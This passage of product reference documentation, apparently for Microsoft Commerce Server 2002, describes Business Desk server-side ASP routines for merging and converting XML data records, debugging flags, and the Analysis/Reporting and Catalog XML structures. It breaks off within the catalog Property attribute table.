For more information about how single-tiered XML data record structures are merged to created two- and three-tiered XML data record structures, see XML Data Merging.

This routine is available in the include file ASPUtil.asp.

There is a functionally equivalent version of this routine defined for client-side use in the file ActionPageUtil.asp.

See Also

Server-Side Routines

sMergeGroups3 (server-side)

xmlMergeGroups2 (server-side)

xmlMergeGroups3 (server-side)

Client-Side Routines

sMergeGroups2 (client-side)


sMergeGroups3 (server-side)

Use this routine to merge three sets of XML records containing different information about the same entities, returning the result as an XML string.

One set of records, known as the master set, contains higher-level information about each entity represented in the set. A second set of records, known as the group set, contains more detailed information about the same set of entities. A third set of records, known as the detail set, contains the most detailed information about the same set of entities. All three sets of records are contained in XML documents.

The records from each set are matched up and merged into a resulting set of records containing three tiers. The first tier contains the higher-level information, the second tier contains the group level of detail, and the third tier contains the most detailed information.

Definition

function sMergeGroups3(xmlMaster,
                       xmlGroup,
                       xmlDetail,
                       sMasterKeyId,
                       sDetailKeyId)

Parameters

xmlMaster
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the first tier of the resulting standard XML data record format, and are considered to contain higher-level information.
xmlGroup
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the second tier of the resulting standard XML data record format, and are considered to contain information of a medium level of detail.
xmlDetail
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the third tier of the resulting standard XML data record format, and are considered to contain the most detailed information.
sMasterKeyId
A string that corresponds to the name of a data element that exists in both the xmlMaster and xmlGroup XML documents. The values for this element are used to match up records in one XML document with records in the other.
sDetailKeyId
A string that corresponds to the name of a data element that exists in both the xmlGroup and xmlDetail XML documents. The values for this element are used to match up records in one XML document with records in the other.

Return Value

A string that contains the merged, three-tiered set of records, represented in the standard XML data record format.

Remarks

This routine is useful for preparing a three-tiered XML data record structure for use by a three-level ListSheet HTC. For more information about how the ListSheet HTC expects its data in one-, two-, and three-tiered data record structures, see ListSheet and HTML Component Data Representation.

For more information about how single-tiered XML data record structures are merged to created two- and three-tiered XML data record structures, see XML Data Merging.

This routine is available in the include file ASPUtil.asp.

There is a functionally equivalent version of this routine defined for client-side use in the file ActionPageUtil.asp.

See Also

Server-Side Routines

sMergeGroups2 (server-side)

xmlMergeGroups2 (server-side)

xmlMergeGroups3 (server-side)

Client-Side Routines

sMergeGroups3 (client-side)


sRelURL2AbsURL (server-side)

Use this routine to convert a Uniform Resource Locator (URL) that is relative to the folder of the current action page into an absolute URL.

Definition

function sRelURL2AbsURL(sRelURL)

Parameters

sRelURL
A string containing a URL that is relative to the folder of the current action page.

Return Value

A string containing an absolute URL that is functionally equivalent to the relative URL passed in the sRelURL parameter.

Remarks

This routine is available in the include file ASPUtil.asp.

See Also

Server-Side Routines

Client-Side Routines


xmlGetCurrencies (server-side)

Use this routine to retrieve an XML DOM object that contains information about various currencies.

Definition

function xmlGetCurrencies()

Parameters

None.

Return Value

An XML DOMDocument object (ProgID: Microsoft.FreeThreadedXMLDOM) containing the contents of the file config\currencies.xml, potentially cached in the Application object during a prior invocation.

Remarks

This routine uses the routine xmlGetResource to accomplish its task, passing the string "MSCSCurrencies" as the name of the Application object variable under which the file contents are cached cached as an XML DOM object.

This routine is available in the include file ASPUtil.asp.

This routine was created for use by the Catalog modules.

See Also

Server-Side Routines

xmlGetLanguages (server-side)

xmlGetResource (server-side)

Client-Side Routines


xmlGetLanguages (server-side)

Use this routine to retrieve an XML DOM object that contains information about various languages.

Definition

function xmlGetLanguages()

Parameters

None.

Return Value

An XML DOMDocument object (ProgID: Microsoft.FreeThreadedXMLDOM) containing the contents of the file config\languages.xml, potentially cached in the Application object during a prior invocation.

Remarks

This routine uses the routine xmlGetResource to accomplish its task, passing the string "MSCSLanguages" as the name of the Application object variable under which the file contents are cached as an XML DOM object.

This routine is available in the include file ASPUtil.asp.

This routine was created for use by the Catalog modules.

See Also

Server-Side Routines

xmlGetCurrencies (server-side)

xmlGetResource (server-side)

Client-Side Routines


xmlGetRequestXML (server-side)

Use this routine to copy the XML in the request to an XML document.

Definition

function xmlGetRequestXML()

Parameters

None.

Return Value

An XML DOMDocument object containing the XML in the request.

Remarks

This routine expects XML in the form sent by the client routine xmlPostFormViaXML.

This routine is available in the include file HTTPXMLUtil.asp.

See Also

Server-Side Routines

dGetRequestXMLAsDict (server-side)

Client-Side Routines

xmlPostFormViaXML (client-side)


xmlGetResource (server-side)

Use this routine to retrieve an XML DOM object that contains the contents of the specified XML file, potentially cached in the Application object during a prior invocation.

Definition

function xmlGetResource(byRef sResourceName,
                        byRef sResourceFile)

Parameters

sResourceName
A string containing the name of an Application object variable under which the contents of the file will be cached as an XML DOM object, or through which the previously cached XML DOM object will be retrieved from the Application object.
sResourceFile
A string containing the name of the file from which the XML DOM object will be loaded, in the event that it is not already cached in the Application object.

Return Value

An XML DOMDocument object (ProgID: Microsoft.FreeThreadedXMLDOM) containing the contents of the specified file, potentially cached in the Application object during a prior invocation.

Remarks

This routine is used by the routines xmlGetCurrencies and xmlGetLanguages to load and cache the contents of the XML files config\currencies.xml and config\languages.xml, respectively. It is general purpose in nature, and could be used to load and cache the contents of arbitrary XML files.

This routine is available in the include file ASPUtil.asp.

See Also

Server-Side Routines

xmlGetCurrencies (server-side)

xmlGetLanguages (server-side)

Client-Side Routines


xmlGetXMLDOMDoc (server-side)

Use this routine to create an XML DOMDocument object with an empty documentElement property.

Definition

function xmlGetXMLDOMDoc()

Parameters

None.

Return Value

An XML DOMDocument object with an empty documentElement property.

Remarks

The string version of the returned document has the following form:

<document />

This routine is available in the include file HTTPXMLUtil.asp.

There is a functionally equivalent version of this routine defined for client-side use in the file HTTPXMLUtil.htm.

See Also

Server-Side Routines

AddCDATANode (server-side)

AddErrorNode (server-side)

AddItemNode (server-side)

AddWarningNode (server-side)

Client-Side Routines

xmlGetXMLDOMDoc (client-side)


xmlGetXMLFromQuery (server-side)

Use this routine to create an XML document element and populate it with record elements corresponding to all of the records returned by the specified query.

This conversion process results in an XML XMLDOMElement object containing the standard XML data record format.

Definition

function xmlGetXMLFromQuery(sConnectionString,
                            sQuery)

Parameters

sConnectionString
A string containing an ActiveX Data Object (ADO) connection string describing the database with which to connect. This is usually a property retrieved from a resource in the Site Configuration Store using the GetSiteConfigField routine in the file ASPUtil.asp.
sQuery
A string containing a valid SQL query.

Return Value

An XMLDOMElement object containing record nodes that mirrors the data returned by the specified query.

Remarks

The conversion results in all of the data returned by the specified query being represented as an XML document element (an XMLDOMElement object) containing a number of record elements (more XMLDOMElement objects).

This routine is available in the include file DBUtil.asp.

See Also

Server-Side Routines

xmlGetXMLFromQueryEx (server-side)

xmlGetXMLFromRS (server-side)

xmlGetXMLFromRSEx (server-side)

Client-Side Routines


xmlGetXMLFromQueryEx (server-side)

Use this routine to create an XML document element and populate it with record elements corresponding to some or all of the records returned by the specified query.

This conversion process results in an XML XMLDOMElement object containing the standard XML data record format.

Definition

function xmlGetXMLFromQueryEx(sConnectionString,
                              sQuery,
                              nStartRecord,
                              nPageSize,
                              nExRecordCount,
                              dFormats)

Parameters

sConnectionString
A string containing an ActiveX Data Object (ADO) connection string describing the database with which to connect. This is usually a property retrieved from a resource in the Site Configuration store using the GetSiteConfigField routine in the file ASPUtil.asp.
sQuery
A string containing a valid SQL query.
nStartRecord
A number specifying the position in the query results of the first record to be converted. Positions are counted from 0 (zero). A value of –1 causes this parameter to be ignored, which has the same effect as passing a value of 0 (zero).
nPageSize
A number specifying the number of consecutive records to convert. A value of –1 causes all records in the recordset to be converted.
nExRecordCount
A number specifying a record count to override the count from the recordset. A value of –1 causes this parameter to be ignored, resulting in the record count from the Recordset object being used. Pass a value of 'TOO_BIG_TOO_COUNT' when the number of records makes it unreasonable to count them all.
dFormats
A Dictionary object that contains information used for special date/time mapping between ADO date/time formats and Commerce Server Business Desk date/time formats.

Return Value

An XML XMLDOMElement object containing record elements that mirror all or part of the data returned by the specified query.

Remarks

The conversion results in all or part of the data returned by the specified query being represented as an XML document element (an XMLDOMElement object) containing a number of record elements (more XMLDOMElement objects).

The dFormats parameter specifies a Dictionary object that is used to do special date and time related format mapping. The keys in this Dictionary object are the names of fields, and the values are either ActiveX Data Object (ADO) data type values, or a special value corresponding to the constant COMMERCE_SPLIT_DATE. Field names are looked up in this Dictionary object to determine the proper value to pass as the sType parameter of the routine AddFormattedNode. The following table shows these mappings.

Dictionary Value for Field Name Key | sType Value and Processing
AD_DATE, AD_DB_DATE, AD_DB_TIMESTAMP, AD_DB_TIME | sType parameter set to corresponding Dictionary object value.
COMMERCE_SPLIT_DATE Two calls to the AddFormattedNode routine are made with the following parameters:
  1. sName = <ADO field name>_date
    sValue = <ADO field value>
    sType = AD_DB_DATE
  2. sName = <ADO field name>_time
    sValue = <ADO field value>
    sType = AD_DB_TIME
All others. | sType parameter set to corresponding ADO Field type property.

This routine is available in the include file DBUtil.asp.

See Also

Server-Side Routines

xmlGetXMLFromQuery (server-side)

xmlGetXMLFromRS (server-side)

xmlGetXMLFromRSEx (server-side)

Client-Side Routines


xmlGetXMLFromRS (server-side)

Use this routine to create an XML document element and populate it with record elements corresponding to all of the records in the specified ActiveX Data Object (ADO) Recordset object.

This conversion process results in an XML XMLDOMElement object containing the standard XML data record format.

Definition

function xmlGetXMLFromRS(rsQuery)

Parameters

rsQuery
An ADO Recordset object, from which the records to be converted are retrieved.

Return Value

An XML XMLDOMElement object containing record elements that mirror the data in the specified ADO Recordset object.

Remarks

The conversion results in all of the data in the specified ADO recordset being represented as an XML document element (an XMLDOMElement object) containing a number of record elements (more XMLDOMElement objects).

This routine is available in the include file DBUtil.asp.

See Also

Server-Side Routines

xmlGetXMLFromQuery (server-side)

xmlGetXMLFromQueryEx (server-side)

xmlGetXMLFromRSEx (server-side)

Client-Side Routines


xmlGetXMLFromRSEx (server-side)

Use this routine to create an XML document element and populate it with record elements corresponding to some or all of the records in the specified ActiveX Data Object (ADO) Recordset object.

This conversion process results in an XML XMLDOMElement object containing the standard XML data record format.

Definition

function xmlGetXMLFromRSEx(rsQuery,
                           nStartRecord,
                           nPageSize,
                           nExRecordCount,
                           dFormats)

Parameters

rsQuery
An ADO Recordset object, from which the records to be converted are retrieved.
nStartRecord
A number specifying the position in the recordset of the first record to be converted. Positions are counted from 0 (zero). A value of –1 causes this parameter to be ignored, which has the same effect as passing a value of 0 (zero).
nPageSize
A number specifying the number of consecutive records to convert. A value of –1 causes all records in the recordset to be converted.
nExRecordCount
A number specifying a record count to override the count from the recordset. A value of –1 causes this parameter to be ignored, resulting in the record count from the Recordset object being used. Pass a value of 'TOO_BIG_TOO_COUNT' when the number of records makes it unreasonable to count them all.
dFormats
A Dictionary object that contains information used for special date/time mapping between ADO date/time formats and Commerce Server Business Desk date/time formats.

Return Value

An XML XMLDOMElement object containing record elements that mirror all or part of the data in the specified ADO Recordset object.

Remarks

The conversion results in all or part of the data in the specified ADO recordset being represented as an XML document element (an XMLDOMElement object) containing a number of record elements (more XMLDOMElement objects).

The dFormats parameter specifies a Dictionary object that is used to do special date and time related format mapping. The keys in this Dictionary object are the names of fields, and the values are either ActiveX Data Object (ADO) data type values, or a special value corresponding to the constant COMMERCE_SPLIT_DATE. Field names are looked up in this Dictionary object to determine the proper value to pass as the sType parameter of the routine AddFormattedNode. The following table shows these mappings.

Dictionary Value for Field Name Key | sType Value and Processing
AD_DATE, AD_DB_DATE, AD_DB_TIMESTAMP, AD_DB_TIME | sType parameter set to corresponding Dictionary object value.
COMMERCE_SPLIT_DATE Two calls to the AddFormattedNode routine are made with the following parameters:
  1. sName = <ADO field name>_date
    sValue = <ADO field value>
    sType = AD_DB_DATE
  2. sName = <ADO field name>_time
    sValue = <ADO field value>
    sType = AD_DB_TIME
All others. | sType parameter set to corresponding ADO Field type property.

This routine is available in the include file DBUtil.asp.

See Also

Server-Side Routines

xmlGetXMLFromQuery (server-side)

xmlGetXMLFromQueryEx (server-side)

xmlGetXMLFromRS (server-side)

Client-Side Routines


xmlMergeGroups2 (server-side)

Use this routine to merge two sets of XML records containing different information about the same entities, returning the result as an XML document.

One set of records, known as the master set, contains higher-level information about each entity represented in the set. The other set of records, known as the detail set, contains more detailed information about the same set of entities. Both of these sets of records are contained in XML documents.

The records from each set are matched up and merged into a resulting set of records containing two tiers. The first tier contains the higher-level information, and the second tier contains the detailed information.

Definition

function xmlMergeGroups2(xmlMaster,
                         xmlDetail,
                         sKeyId)

Parameters

xmlMaster
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the first tier of the resulting standard XML data record format, and are considered to contain higher-level information.
xmlDetail
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the second tier of the resulting standard XML data record format, and are considered to contain more detailed information.
sKeyId
A string that corresponds to the name of a data element that exists in both of the XML documents passed as the other parameters. The values for this element are used to match up records from one XML document with the records in the other.

Return Value

An XML DOMDocument object that contains the merged, two-tiered set of records, represented in the standard XML data record format.

Remarks

This routine is useful for preparing a two-tiered XML data record structure for use by a two-level ListSheet HTC. For more information about how the ListSheet HTC expects its data in one-, two-, and three-tiered data record structures, see ListSheet and HTML Component Data Representation.

For more information about how single-tiered XML data record structures are merged to created two- and three-tiered XML data record structures, see XML Data Merging.

This routine is available in the include file ASPUtil.asp.

There is a functionally equivalent version of this routine defined for client-side use in the file ActionPageUtil.asp.

See Also

Server-Side Routines

sMergeGroups2 (server-side)

sMergeGroups3 (server-side)

xmlMergeGroups3 (server-side)

Client-Side Routines

xmlMergeGroups2 (client-side)


xmlMergeGroups3 (server-side)

Use this routine to merge three sets of XML records containing different information about the same entities, returning the result as an XML document.

One set of records, known as the master set, contains higher-level information about each entity represented in the set. A second set of records, known as the group set, contains more detailed information about the same set of entities. A third set of records, known as the detail set, contains the most detailed information about the same set of entities. All three sets of records are contained in XML documents.

The records from each set are matched up and merged into a resulting set of records containing three tiers. The first tier contains the higher-level information, the second tier contains the group level of detail, and the third tier contains the most detailed information.

Definition

function xmlMergeGroups3(xmlMaster,
                         xmlGroup,
                         xmlDetail,
                         sMasterKeyId,
                         sDetailKeyId)

Parameters

xmlMaster
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the first tier of the resulting standard XML data record format, and are considered to contain higher-level information.
xmlGroup
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the second tier of the resulting standard XML data record format, and are considered to contain information of a medium level of detail.
xmlDetail
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the third tier of the resulting standard XML data record format, and are considered to contain the most detailed information.
sMasterKeyId
A string that corresponds to the name of a data element that exists in both the xmlMaster and xmlGroup XML documents. The values for this element are used to match up records in one XML document with records in the other.
sDetailKeyId
A string that corresponds to the name of a data element that exists in both the xmlGroup and xmlDetail XML documents. The values for this element are used to match up records in one XML document with records in the other.

Return Value

An XML DOMDocument object that contains the merged, three-tiered set of records, represented in the standard XML data record format.

Remarks

This routine is useful for preparing a three-tiered XML data record structure for use by a three-level ListSheet HTC. For more information about how the ListSheet HTC expects its data in one-, two-, and three-tiered data record structures, see ListSheet and HTML Component Data Representation.

For more information about how single-tiered XML data record structures are merged to created two- and three-tiered XML data record structures, see XML Data Merging.

This routine is available in the include file ASPUtil.asp.

There is a functionally equivalent version of this routine defined for client-side use in the file ActionPageUtil.asp.

See Also

Server-Side Routines

sMergeGroups2 (server-side)

sMergeGroups3 (server-side)

xmlMergeGroups2 (server-side)

Client-Side Routines

xmlMergeGroups3 (client-side)


xmlXMLFromDict (server-side)

Use this routine to convert a Dictionary object into an XML document.

Definition

function xmlXMLFromDict(byRef dDict)

Parameters

dDict
A Dictionary object to be converted to XML.

Return Value

An XML DOMDocument object containing an item element for each entry in the Dictionary object.

Remarks

Each item element is given two attributes, name and value, initialized to the name and value of each entry in the Dictionary object, as follows:

<item name="keyname" value="value"/>

This routine is available in the include file HTTPXMLUtil.asp.

There is a functionally equivalent version of this routine defined for client-side use in the file HTTPXMLUtil.htm.

See Also

Server-Side Routines

dDictFromXML (server-side)

Client-Side Routines

dDictFromXML (client-side)

xmlXMLFromDict (client-side)

xmlXMLFromForm (client-side)


Debugging Business Desk

The Business Desk Framework includes a number of debugging capabilities of which you should be aware. There are also some miscellaneous factors that you should keep in mind. These can be divided into the following categories:

  • XML Configuration File Changes
  • Debugging HTC Problems
  • XMLHTTP Debugging in Framework Routines
  • XMLHTTP Debugging in the ListSheet and TreeView HTCs
  • Global Flags for Debugging

XML Configuration File Changes

Remember that after making changes to XML configuration files in the Config folder, you must restart the Internet Information Services (IIS) application before the changes will be visible in the user interface.

The output generated by the SHOW_OBJECT_ERRORS and VERBOSE_OUTPUT flags will only display the first time Commerce Server Business Desk is run after the IIS application is restarted. See Global Flags for Debugging for more information.

Debugging HTC Problems

The m_bDebug variable in each HTC file, when set to True, will show developer errors in alerts. You should try this technique whenever an HTC fails to load on the page.

Whenever you change settings in the HTCs, you may want to verify that Internet Explorer is configured to load pages every time they are requested.

To verify that Internet Explorer is configured to load pages every time they are requested

  1. In Internet Explorer, on the Tools menu, click Internet Options.
  2. On the General tab, in the Temporary Internet Files section, click Settings.
  3. In the Settings dialog box, verify that the Every visit to the page option is selected.

XMLHTTP Debugging in Framework Routines

The bDebug variable in the routines xmlPostFormViaXML and xmlUpdateServerState in the file HTTPXMLUtil.htm, when set to True, displays the data being sent and received when using XMLHTTP to post to server. These debug messages are displayed using the dlg_debug.htm page.

XMLHTTP Debugging in the ListSheet and TreeView HTCs

The m_bDebugHTTPXML variable in the HTC files ListSheet.htc and TreeView.htc, when set to True, will display debug information from within the routine xmlPostToServer. It will display the data being sent and received when using XMLHTTP operations. It will display three alerts for each XMLHTTP fetch operation: one for the data that is sent, one for the returned text, and one for the returned XML.

Whenever you change settings in the HTCs, you may want to verify that Internet Explorer is configured to load pages every time they are requested.

To verify that Internet Explorer is configured to load pages every time they are requested

  1. In Internet Explorer, on the Tools menu, click Internet Options.
  2. On the General tab, in the Temporary Internet Files section, click Settings.
  3. In the Settings dialog box, verify that the Every visit to the page option is selected.

Global Flags for Debugging

The MSCSEnv variable in the Global.asa file for Business Desk, when changed from PRODUCTION to DEVELOPMENT, or vice versa, will modify many of the following debug flags at once:

VERBOSE_OUTPUT
When set to True, shows detailed output while loading the XML configuration upon application start, then shows tables representing Dictionary objects stored in the application. Select Refresh in the context menu or click F5 to load Business Desk when you are done looking at the output.
SHOW_OBJECT_ERRORS
When set to True, shows XML and other errors in a modeless dialog box upon loading the XML configuration.
AUTO_REDIRECT_ENABLED
When set to True, keeps users from loading a Business Desk page outside the normal Business Desk frame structure (which is enforced in the file BizDeskUtil.asp).
FORCE_HTA_ONLY
When set to True, disallows browsing Business Desk outside of the HTML Application (HTA) provided by the client installation. Setting this variable to False allows you to use the URL "//servername/bizdeskrootname/bizdesk.asp" to run Business Desk in a normal browser.
ALLOW_CONTEXT_MENUS
When set to True, allows right-click context menus so that you can use Refresh and View Source to investigate page failures.
SHOW_DEBUG_TEXT
When set to True, shows a variety of debug information in various ways, as follows:
1. Task button and module link targets on mouseover.
2. Disabled modules as ERROR (usually file not found) or FILTERED (by the security mechanism) rather than removing them altogether.
3. Contents of the Request, Session, and Application objects in legend area of status bar.
4. The state of the g_bDirty, g_bRequired, and g_bValid flags for the page in the title bar.


XML Reference

Extensible Markup Language (XML) is used extensively by Microsoft Commerce Server 2002. Different features use XML in different ways, resulting in a variety of defined XML structures. This section provides reference documentation for these various XML structures.

This section contains:

  • Analysis/Reporting XML Structures. Describes the XML structures used to create reports by Commerce Server Analysis.
  • Catalog XML Structures. Describes the XML structure in which product catalogs must be represented in order to be imported into the Product Catalog System.
  • Business Desk XML Structures. Describes the various XML structures used by Commerce Server Business Desk, including those used to define category and module structure, those used by the various HTML Components (HTCs), and those used for security and international configuration.
  • Expression XML Structures. Describes the XML structure used by the expression architecture.
  • Profile XML Structures. Describes the XML schemas and data structures used by the Profile service.


Analysis/Reporting XML Structures

This section describes the minimal Extensible Markup Language (XML) structure needed for creating a dynamic report.

For online analytical processing (OLAP) reports, the cube name must be supplied. For SQL reports, a query must be provided.

After the report is displayed, the layout can be dynamically modified and the results saved from Commerce Server Business Desk.

The XML structure should not be directly edited after the report is initially created. Make any modifications to the report using the pivot control available through Business Desk.

XML Structure

<xml xmlns:x=''urn:schemas-microsoft-com:office:excel''>
<x:PivotTable>
   <x:OWCVersion>9.0.0.3821</x:OWCVersion>
   <x:DisplayFieldList/>
      <x:FieldListTop>300</x:FieldListTop>
      <x:FieldListLeft>800</x:FieldListLeft>
      <x:FieldListBottom>700</x:FieldListBottom>
      <x:FieldListRight>1000</x:FieldListRight>
   <x:CacheDetails/>
   <x:ConnectionString>ConnectionString</x:ConnectionString>
   [<x:CommandText>QueryString</x:CommandText>]
   [<x:DataMember>CubeName</x:DataMember>]
</x:PivotTable>
</xml>

The CommandText element is used only for SQL reports and contains the SQL query.

The DataMember element is used only for OLAP reports and contains the cube name.

The ConnectionString is one of the following types:

  • For SQL reports: "Provider=SQLOLEDB;Data Source=;Initial Catalog=;Integrated Security=SSPI"
  • For MDX reports: "Provider=MSOLAP;Data Source=;Initial Catalog=;Client Cache Size=25;Auto Synch Period=10000"

The values of the Data Source and Initial Catalog attributes are not specified in the connection string. These values are obtained from the Administration database at report run time.

See Also

Analysis/Reporting Schema

AsyncRpt2 Object

Creating Custom Reports

ReportRender2 Object

Running Reports


Catalog XML Structures

The Microsoft Commerce Server 2002 Catalog Extensible Markup Language (XML) format is designed to represent product catalogs in a format suitable for exchange between applications and for transport over the Internet.

The format itself is defined in an XML data schema, allowing it to be used with XML data-aware tools such, as BizTalk Server mapping tools.

The Commerce Server 2002 Catalog XML format is intended to represent a large variety of product catalogs, and for this reason uses the notion of a "meta-schema." That is, the way that a certain product may be represented in the format itself is defined in a schema definition section. This schema definition section defines the types of attributes that the catalog (or rather, catalog collection) stores to describe both products and categories, and defines the attributes recorded against different types of products and categories.

The Commerce Server Catalog XML format does not propose any fixed representation of particular types of products, but provides a means by which almost any product description can be recorded in a rich form.

The format also allows for multiple catalogs to be represented in one XML file.

This section contains:

  • XML Structure. Shows the XML structure.
  • XML Elements. Describes the XML elements and their relations.
  • Import Semantics. Describes the semantics that apply when importing a Commerce Server Catalog XML file.
  • XDR Schema. Shows the XML Data-Reduced (XDR) schema used to define the XML elements, attributes, and relations.


XML Structure

This section describes the Extensible Markup Language (XML) structure, elements, and attributes in a Microsoft Commerce Server catalog. In the following example, names that are not in italic refer to the elements of the XML structure. The first occurrence of each element is linked to documentation on that element. Names in italic are attributes associated with each element.

<MSCommerceCatalogCollection2 version>
   <CatalogSchema>
      <Definition name DefinitionType
                />
         <DefProperty />
         <DefVariantProperty />
      <Property AssignAll currency
                dataType DisplayInProductsList DisplayOnSite
                ExportToDW id IncludeInSpecSearch IsFreeTextSearchable
                IsRequired MinValue MaxValue Multilingual name />
            <DefaultValue language Value />
            <displayName language Value />
            <PropertyValue displayName language />
      </Property>
      <AttributeDefinition dataType                 MaxLength name AttributeType />
   </CatalogSchema>
   <Catalog name currency DateChanged DefaultLanguage
            endDate languages locale productUID
            ReportingLanguage startDate VariantUID weight_measuring_unit >
      <displayName language Value />
      <Category action DateChanged Definition                id isSearchable name PrimaryParentCategory
               listprice >
         <displayName value language />
         <ParentCategory />
         <Relationship name
                  relation targetCatalog targetCategory targetProduct />
            <RelationshipDescription
                     language Value />
      </Category>
      <Product action DateChanged Definition id listprice
               PrimaryParentCategory UseCategorypricing >
         <ParentCategory />
         <ProductVariant action DateChanged id listprice >
         </ProductVariant>
         <Relationship name relation targetCatalog
                  targetCategory targetProduct />
            <RelationshipDescription value language />
      </Product>
   </Catalog>
</MSCommerceCatalogCollection2>


XML Elements

The Microsoft Commerce Server Catalog Extensible Markup Language (XML) elements are divided into three groups:

  • MSCommerceCatalogCollection2. The root node for a Commerce Server Catalog XML file.
  • Catalog Schema Elements. These elements are used to extend the catalog: CatalogSchema, AttributeDefinition, Definition, Property, and PropertyValue.
  • Catalog Data Elements. These elements are used for the actual catalog and its members: Catalog, Category, Product, ProductVariant, and Relationship.

AttributeDefinition

Defines an attribute that can be used to describe an aspect of a property, such as its display name. This allows additional attributes to be defined on top of the built in ones.

Parent Elements: CatalogSchema

Child Elements: None

Attributes:

Name | Type | Description
dataType | enumeration | Valid types are: datetime money number string bignumber real float currency boolean text
MaxLength | number | The maximum length for string values of this attribute, not valid for other data types.
name | string | The name of the attribute definition.
AttributeType | enumeration | Valid types are: PropertyAttribute (default) CatalogAttribute

Catalog

Defines an individual catalog.

Parent Elements: MSCommerceCatalogCollection2

Child Elements: Category, Product, displayName

Attributes:

Name | Type | Description
name | string | The name of the catalog.
currency | string | The currency used in the catalog, expressed as a three letter ISO 4217 currency code. For example, USD, AUD, CDN, GBP, DEM, JPY.
DefaultLanguage | string | The culture code indicating the default language of the catalog.
endDate | string | The date the catalog validity expires. Used for documentation purposes only—Commerce Server does not apply any logic to this value.
languages | string | A comma-separated list of culture codes indicating the languages supported by the catalog.
locale | string | The locale of the catalog specified using a Windows Locale ID (LCID).
productUId | string | The name of the property that uniquely identifies products (or product families) in the catalog.
ReportingLanguage | string | Theculture code indicating the language to be used for catalog reporting.
startDate | string | The date the catalog is valid. Used for documentation purposes only—Commerce Server does not apply any logic to this value.
VariantUId | string | The name of the property that uniquely identifies product variants in the catalog. If the catalog does not contain products with variants, set this attribute to the same value as the value in the productIdentifier attribute.
Optional user defined attributes |  | Attributes created by the user with the CatalogManager AddCatalogAttribute method.

CatalogSchema

Contains the schema definition elements for the Catalog collection.

Parent Elements: MSCommerceCatalogCollection2

Child Elements: AttributeDefinition, Definition, Property

Attributes: None

Category

Defines an instance of a type of category.

Parent Elements: Catalog

Child Elements: Relationship, ParentCategory, displayName

Attributes:

Name | Type (default=string) | Description
action | string | A value of delete specifies that this element is to be deleted when the catalog is imported. If the value is unspecified then this element will be added or updated as appropriate.
DateChanged | datetime | The date and time this category was last changed.
Definition | string | The name of the category definition upon which the category is based.
id | string | The unique identifier of the category.
isSearchable | string | Indicates whether this category is to be used as a starting point for specification searches. True indicates this category will be included in the record set returned by calls to the ProductCatalog.GetSearchableCategories object. The values are 0 for False; 1 for True.
name | string | The name of the category. This name must be unique for all categories in the same catalog.
PrimaryParentCategory | string | The primary parent category of this category.
listprice | string | The price that should be applied to any products that reference this category as their pricing category. Units for this value are determined by the currency attribute of the containing catalog.
Optional user defined attributes |  | The properties that the user has added to the category definition for this category.

DefaultValue

Defines a language default value for an enumeration type property.

Parent Elements: Property

Child Elements: None

Attributes:

Attribute name | Type | Description
value | string | Text of the default value.
language | string | Theculture code indicating the language to which the default value applies.

Definition

Defines a type of product or category.

Parent Elements: CatalogSchema

Child Elements: DefProperty, DefVariantProperty

Attributes:

Name | Type | Description
DefinitionType | enumeration | The type of the definition — either product or category.
Name | string | The name of the property. This name must be unique within the XML document.

DefProperty

Contains the name of property that is part of a Definition.

Parent Elements: Definition

Child Elements: none

Attributes: none

DefVariantProperty

Contains the name of variant property that is part of a Definition.

Parent Elements: Definition

Child Elements: none

Attributes: none

displayName

Defines a language-specific display name for a property, category, or catalog.

Parent Elements: Property, Category, Catalog

Child Elements: None

Attributes:

Attribute name | Type (default=string) | Description
value | string | The display name text.
language | string | culture code indicating the language to which the display name applies.

MSCommerceCatalogCollection2

The root node for a Commerce Server Catalog XML file.

Parent Elements: None

Child Elements: CatalogSchema, Catalog

Attributes:

Attribute name | Type | Description
version | string | The version of the schema. "2.0" indicates the Commerce Server 2002 schema.

ParentCategory

Contains the name of a category that has a parent relationship to the containing product or category element.

Parent Elements: Category, Product

Child Elements: none

Product

Defines an instance of a type of product.

Parent Elements: Catalog

Child Elements: ParentCategory, ProductVariant, Relationship, <UserDefinedMultilingualProperty>

Attributes:

Name | Type | Description
action | string | A value of delete specifies that this element is to be deleted when the catalog is imported. If the value is unspecified then this element will be added or updated as appropriate.
DateChanged | datetime | The date and time that the product was last changed.
Definition | string | The name of the product definition upon which the product is based.
id | string | The XML ID for the product element.
listprice | string | The price for this product. Units for this value are determined by the currency attribute of the containing catalog. This attribute is required.
PrimaryParentCategory | string | The XML ID of the category to which the product belongs.
UseCategorypricing | boolean | Specifies whether the price of this product should be inherited from the PrimaryParentCategory of this product. A value of 1 (one) indicates to inherit the price from the PrimaryParentCategory.
Optional user defined attributes |  | The properties that the user has added to the product definition for this product.

ProductVariant

Defines an instance of a variant of a product.

Parent Elements: Product

Child Elements: <UserDefinedMultilingualProperty>

Attributes:

Name | Type | Description
action | string | A value of delete specifies that this element is to be deleted when the catalog is imported. If the value is unspecified then this element will be added or updated as appropriate.
DateChanged | datetime | The date and time that the product variant was last changed.
id | string | The XML ID for the variant element.
listprice | string | The price for this product variant. Units for this value are determined by the currency attribute of the containing catalog. This attribute is required.

Property

Defines a property that can be used to describe an aspect of a product or category.

Parent Elements: CatalogSchema

Child Elements: DefaultValue, displayName, PropertyValue.

Attributes:

Name | Type | Description
AssignAll | boolean | Indicates whether this property should automatically be assigned to product definitions as they are created through Commerce Server Business Desk. The values are: "1" (True) or "0" (False).
Currency | string | The currency used in the catalog, expressed as a three letter ISO 4217 currency code. For example, USD, AUD, CDN, GBP, DEM, JPY. This attribute is only valid when the DataType attribute is money.
DataType | string | Legal values are: datetime enumeration filename float money number string bignumber currency boolean real text
DisplayInProductsList | boolean | Indicates whether this property is to be displayed in summary lists of products in the Business Desk Catalog Editor, or in other areas where product lists are displayed. The values are: "1" (True) or "0" (False)
DisplayOnSite | boolean | Indicates whether this property should be shown to users visiting the Web site. The values are: "1" (True) or "0" (False).
